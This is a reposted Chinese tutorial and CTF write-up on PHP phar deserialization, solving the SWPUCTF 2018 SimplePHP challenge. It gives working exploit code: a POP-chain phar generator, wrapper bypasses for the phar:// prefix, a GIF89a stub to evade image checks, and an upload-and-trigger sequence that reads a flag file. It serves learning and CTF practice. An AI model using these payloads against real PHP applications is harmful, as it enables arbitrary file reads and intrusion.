phar反序列化原理及利用

news2024/12/24 2:08:44

phar是什么?

phar 是 PHP 的一种归档文件格式,类似于 ZIP 或 TAR 文件,它可以包含多个文件和目录,并且可以像访问普通文件系统一样在 PHP 中进行访问。在php 5.3 或更高版本中默认开启
在php.ini中配置如下时,才能生成phar文件,记得要删除分号

phar.readonly = Off

image.png

phar文件的生成以及利用

这个是一个简单的php反序列化题

<?php
  class Test {
  public $num = 2;
  public function __destruct() {  //__destruct 函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
  if ($this->num === 1) {
  echo 'flag{^_^}';                              }
                              }
}
unserialize($_GET['data']);
#show_source(__FILE__)
?>

payload构造代码:

<?php
  class Test {
  public $num;
  }

  $a = new Test();
$a->num=1;
echo serialize($a);

image.png
最后成功输出flag

image.png
正常的php反序列化是通过unserialize函数来实现的,而phar反序列化可以通过 file_get_contents函数来实现。
如下:

<?php
class Test {
    public $num = 2;
    public function __destruct() {
        if ($this->num === 1) {
            echo 'flag{^_^}';
        }
    }
}

echo file_get_contents($_GET['file']);
?>

我们修改一下php反序列化的payload的构造代码:

<?php
class Test {
	public $num;
}
$a = new Test();
$a->num=1;


$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetaData($a);
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
?>

可以看见之前的serialize函数被代替了,变成这了几段代码:

$phar = new Phar("a.phar"); // 创建一个名为 "a.phar" 的 Phar 归档文件。
$phar->startBuffering(); //使用 startBuffering() 方法开始缓冲,以便在添加文件之前可以对 Phar 对象进行配置。
$phar->setStub("<?php __HALT_COMPILER(); ?>"); /* 设置stub,必须以__HALT_COMPILER(); ?>结尾*/
$phar->setMetaData($a); # 设置自定义的metadata,序列化存储,解析式会被序列化。
$phar->addFromString("test2.txt", "test2"); //phar文件里面的文件为test2.txt,内容为test2
$phar->stopBuffering(); # 停止缓冲,将所有的配置应用到 Phar 文件中

访问我们构造的php代码,可以看见在本地生成了一个a.phar文件
image.png
这时候再访问题目的页面,对file参数使用phar协议

?file=phar://a.phar/test2.txt

image.png
可以看见输出了test2和flag,test2为我们的a.phar文件里面的内容,通过file_get_contents函数读取出来的,至于为什么flag也读出来,是因为a.phar里面有我们的恶意代码,phar文件被反序列化了。

触发phar反序列化的敏感函数

文件相关的函数

fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file 
is_link / is_readable / is_writeable / is_writable
parse_ini_file
unlink
copy

其他触发函数

image
    exif_thumbnail
    exif_imagetype
    imageloadfont
    imagecreatefrom***
    getimagesize
    getimagesizefromstring
hash
    hash_hmac_file
    hash_file
    hash_update_file
    md5_file
    sha1_file
file / url
    get_meta_tags
    get_headers

常见的绕过方式

绕过phar://开头

compress.bzip://phar://a.phar/test1.txt
compress.bzip2://phar://a.phar/test1.txt
compress.zlib://phar://a.phar/test1.txt
php://filter/resource=phar://a.phar/test1.txt
php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt

绕过图片检查

  • 可以修改phar文件名的后缀
  • 文件开头添加GIFB9a绕过十六进制检查
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");

案例演示

题目地址:

https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP

信息收集

进入首页可以看见这里有一个可疑的文件读取漏洞
image.png
查看源代码,可以看见flag的位置提示
image.png
尝试读取file.php文件,发现成功读取
image.png
class.php源代码如下,在这里我们知道了f1ag.php的绝对路径应该是 /var/www/html/f1ag.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

在这里可以看见有一个phar的反序列化漏洞可利用函数 file_exists
我们构造一下参数查看一下class.php文件
image.png

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

可以发现文件读取的主要函数是file_get ,我们可以构造它的内容为/var/www/html/f1ag.php读取flag
image.png
但是要想执行file_get 函数就必须调用get函数,可以看见get方法的调用又来自__get魔术方法,在__get魔术方法中访问一个对象的不可访问属性时被调用,会自动调用,具体可以参考我这篇:

https://blog.csdn.net/weixin_53912233/article/details/136201452/

在Show类中可以发现,可以发现这么一行是属于Test类不可访问的属性,那么 source 就是 Test 类中一个不存在的属性,在执行这条语句时就会触发 Test 类的 __get 魔术方法。
image.png
因为不存在的属性source被__get魔术方法调用了,所以$key就是source属性,被当作后续的参数使用。
由于调用str属性需要来自 C1e4r类,这里有一个构造魔法__construct。
image.png
至于调用Show类中的__toString方法,可以看见在C1e4r类中有一个echo输出函数,当对象作为字符串进行输出的时候就会进行调用
image.png
image.png

pop链构造

所以构造pop链的思路是:

Test()->params['source']="/var/www/html/f1ag.php"; //Test类中获取的文件为f1ag.php
Show()->str['str'] = new Test(); //调用Show类的属性,因为在Test类中不存在该属性,触发__get方法
C1e4r()->str = new Show(); //调用C1e4r类的str属性给Show类

pop构造代码如下:

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
 }
class Test
{
    public $file;
    public $params;
  }
  
$a = new Test();
$a->params['source'] = "/var/www/html/f1ag.php"; //因为source属性是get函数的传参,我们可以利用它自定义读取的文件

$b = new Show();
$b->str['str'] = $a; //Show类中的str['str']给Test类,因为该属性对于Test类不存在,可以调用__get魔术方法

$c = new C1e4r();
$c->str = $b;   //C1e4r类将str属性给Show类

/*最后打包成phar文件*/
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); 
$phar->setMetaData($c);  // 打包该类
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
?>

最后在本地可以看见生成了一个phar文件
image.png

获取flag

这里可以看见有一个文件上传的点
image.png
直接上传可以看见被过滤掉了
image.png
我们使用文件读取漏洞看一下该上传页面的源代码upload_file.php:
image.png
可以看见包含了一个function.php,再次查看该源代码:
image.png
可以发现了上传后的文件在upload目录下,同时后端对后缀进行了验证,我们将 a.phar文件改为 a.jpg文件即可,可以发现上传成功
image.png
访问upload目录可以看见这个就是我们上传的文件
image.png
这时候我们在文件读取的漏洞利用phar协议,读取我们上传的恶意文件,可以发现出现了base64字符串,恶意代码解析成功。
image.png
bae64解码获取flag
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1460664.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LabVIEW压电驱动迟滞补偿控制

LabVIEW压电驱动迟滞补偿控制 随着精密控制技术的迅速发展&#xff0c;压电陶瓷驱动器因其高精度和快速响应特性&#xff0c;在微纳精密定位系统中得到了广泛应用。然而&#xff0c;压电材料固有的迟滞非线性特性严重影响了其定位精度和重复性。开发了一种基于LabVIEWFPGA的压…

【初始RabbitMQ】死信队列的实现

死信的概念 死信&#xff0c;顾名思义就是无法被消费的消息&#xff0c;字面意思可以这样理解&#xff0c;一般来说&#xff0c;producer 将消息投递到 broker 或者直接到 queue 里了&#xff0c;consumer 从 queue 取出消息 进行消费&#xff0c;但某些时候由于特定的原因导致…

Java 那些诗一般的 数据类型 (1)

本篇会加入个人的所谓‘鱼式疯言’ ❤️❤️❤️鱼式疯言:❤️❤️❤️此疯言非彼疯言 而是理解过并总结出来通俗易懂的大白话, 小编会尽可能的在每个概念后插入鱼式疯言,帮助大家理解的. &#x1f92d;&#x1f92d;&#x1f92d;可能说的不是那么严谨.但小编初心是能让更多人…

私房菜|私房菜定制上门服务系统|基于springboot+vue私房菜定制上门服务系统设计与实现(源码+数据库+文档)

私房菜定制上门服务系统目录 目录 基于springbootvue私房菜定制上门服务系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、管理员功能实现 &#xff08;1&#xff09;菜品管理 &#xff08;2&#xff09;公告管理 &#xff08;3&#xff09; 厨师管理 2、用…

四非保研之旅

大家好&#xff0c;我是工藤学编程&#xff0c;虽有万分感概&#xff0c;但是话不多说&#xff0c;先直接进入正题&#xff0c;抒情环节最后再说&#xff0c;哈哈哈 写在开头 我的分享是来给大家涨信心的&#xff0c;网上的大佬们都太强了&#xff0c;大家拿我涨涨信心&#…

Linux 上安装及卸载JDK(包含yum方式)

一、 删除JDK 1、先输入java -version查看是否安装了JDK [rootiZbp117bkiezirqkean6g3Z java-11-openjdk-11.0.21.0.9-2.0.3.al8.x86_64]# java -version openjdk version "11.0.21" 2023-10-17 LTS OpenJDK Runtime Environment (Red_Hat-11.0.21.0.9-1) (build 1…

新版AI系统ChatGPT源码支持GPT-4/支持AI绘画去授权

源码获取方式 搜一搜&#xff1a;万能工具箱合集 点击资源库直接进去获取源码即可 如果没看到就是待更新&#xff0c;会陆续更新上 新版AI系统ChatGPT网站源码支持GPT-4/支持AI绘画/Prompt应用/MJ绘画源码/PCH5端/免授权&#xff0c;支持关联上下文&#xff0c;意间绘画模型…

面向对象详解,面向对象的三大特征:封装、继承、多态

文章目录 一、面向对象与面向过程1、什么是面向过程&#xff1f;2、什么是面向对象&#xff1f; 二、类与对象1. 初识对象2. 类的成员方法2.1 类的定义和使用2.2 成员方法 3. 类和对象4. 魔法方法1. _ _ inint _ _ 构造方法2. _ _ str _ _ 字符串方法3. _ _ lt _ _ 小于符号比较…

基于python社交网络大数据分析系统的设计与实现

项目&#xff1a;基于python社交网络大数据分析系统的设计与实现 摘 要 社交网络大数据分析系统是一种能自动从网络上收集信息的工具&#xff0c;可根据用户的需求定向采集特定数据信息的工具&#xff0c;本项目通过研究爬取微博网来实现社交网络大数据分析系统功能。对于采集…

十二、通过色彩空间转换进行更换图片背景

项目功能实现&#xff1a;对一张白色背景的图片进行更换成蓝色背景&#xff0c;类似抠图更换背景操作 按照之前的博文结构来&#xff0c;这里就不在赘述了 一、头文件 inrange.h #pragma once#include<opencv2/opencv.hpp>using namespace cv;class INRANGE{ public:v…

leetcode hot100组合综合四

本题中&#xff0c;是要求nums中求的总和为target的排列数&#xff0c;因为题中说了&#xff0c;元素顺序不同&#xff0c;则可以视为不同的结果之一。 所以&#xff0c;根据对背包问题的总结&#xff0c;本题中元素可以重复使用&#xff0c;是完全背包并且需要求排列数&#…

我是怎么用静态IP代理为Google账号保驾护航的

我为何要使用到静态IP代理服务 我是一名IT从业者&#xff0c;在很多年前就加入了一家跨国软件公司&#xff0c;日常需要在全世界各地跟甲方沟通&#xff0c;负责的工作中重要的一块就是Google广告&#xff0c;为此公司还特意给配置了一台笔记本电脑。 目录 我为何要使用到静态…

教学设计与课堂教学的关系是什么

当你走进教室&#xff0c;是否曾思考过这背后的精心策划&#xff1f;每一堂课的呈现&#xff0c;都源于细致的教学设计。那么&#xff0c;教学设计与课堂教学之间&#xff0c;又隐藏着怎样的秘密呢&#xff1f; 教学设计&#xff0c;就像是一部剧本&#xff0c;为演员&#xf…

Puppeteer 使用实战:如何将自己的 CSDN 专栏文章导出并用于 Hexo 博客(一)

文章目录 效果展示说明利用工具整体思路Puppeteer 使用笔记保持登录状态打开新的页面点击 dialog跳转页面设置页面可见窗口大小寻找元素等待元素出现 整体代码 效果展示 说明 看了看网上很少做这个功能&#xff0c;但是我有这个需求&#xff0c;就抽出时间写了个简单的工具目前…

preCICE流固耦合仿真资料整理

preCICE The coupling library for partitioned multi-physics simulations 资料 Tutorials preCICE—多物理场耦合工具介绍 My First Fluid-Solid Interaction Case CalculiX 流固耦合&#xff08;FESIM有限元分析&#xff09; Coupling with preCICE by Gerasimos Chourdak…

k8s-配置与存储-配置管理

文章目录 一、配置存储1.1 ConfigMap1.1.1.基于文件夹的创建方式1.1.2指定文件的创建方式1.1.3 配置文件创建configmap 1.2 Secret1.2.1Secret的应用与Docker仓库 Secret设置1. Kubernetes 中的 Secrets&#xff1a;创建 Secret 示例&#xff1a;将 Secret 挂载到 Pod 中的示例…

URL、DNS过滤,AV---防火墙综合实验

拓扑图 该实验之前的配置请看我的上一篇博客&#xff0c;这里仅配置URL、DNS过滤&#xff0c;AV 需求 8&#xff0c;分公司内部的客户端可以通过域名访问到内部的服务器 这次的拓扑图在外网多增加了一个DNS服务器和HTTP服务器 DNS服务器IP&#xff1a;40.0.0.30 HTTP服务器…

Pandas快问快答16-30题

16. 如何对一个Pandas数据框进行聚合操作? 聚合操作是数据处理中的一种重要方式&#xff0c;主要用于对一组数据进行汇总和计算&#xff0c;以得到单一的结果。在聚合操作中&#xff0c;可以执行诸如求和、平均值、最大值、最小值、计数等统计操作。这些操作通常用于从大量数…

WebGIS开发常用的JS库:VUE/React/Angular对比

Angular: 作用&#xff1a; Angular是一个完整的基于TypeScript的Web应用开发框架&#xff0c;主要用于构建单页Web应用&#xff08;SPA&#xff09;。它适用于大型和复杂的项目&#xff0c;具有强大的组件集合和丰富的文档。 架构&#xff1a; Angular采用组件化的方式&am…

19个Web前端交互式3D JavaScript框架和库

JavaScript &#xff08;JS&#xff09; 是一种轻量级的解释&#xff08;或即时编译&#xff09;编程语言&#xff0c;是世界上最流行的编程语言。JavaScript 是一种基于原型的多范式、单线程的动态语言&#xff0c;支持面向对象、命令式和声明式&#xff08;例如函数式编程&am…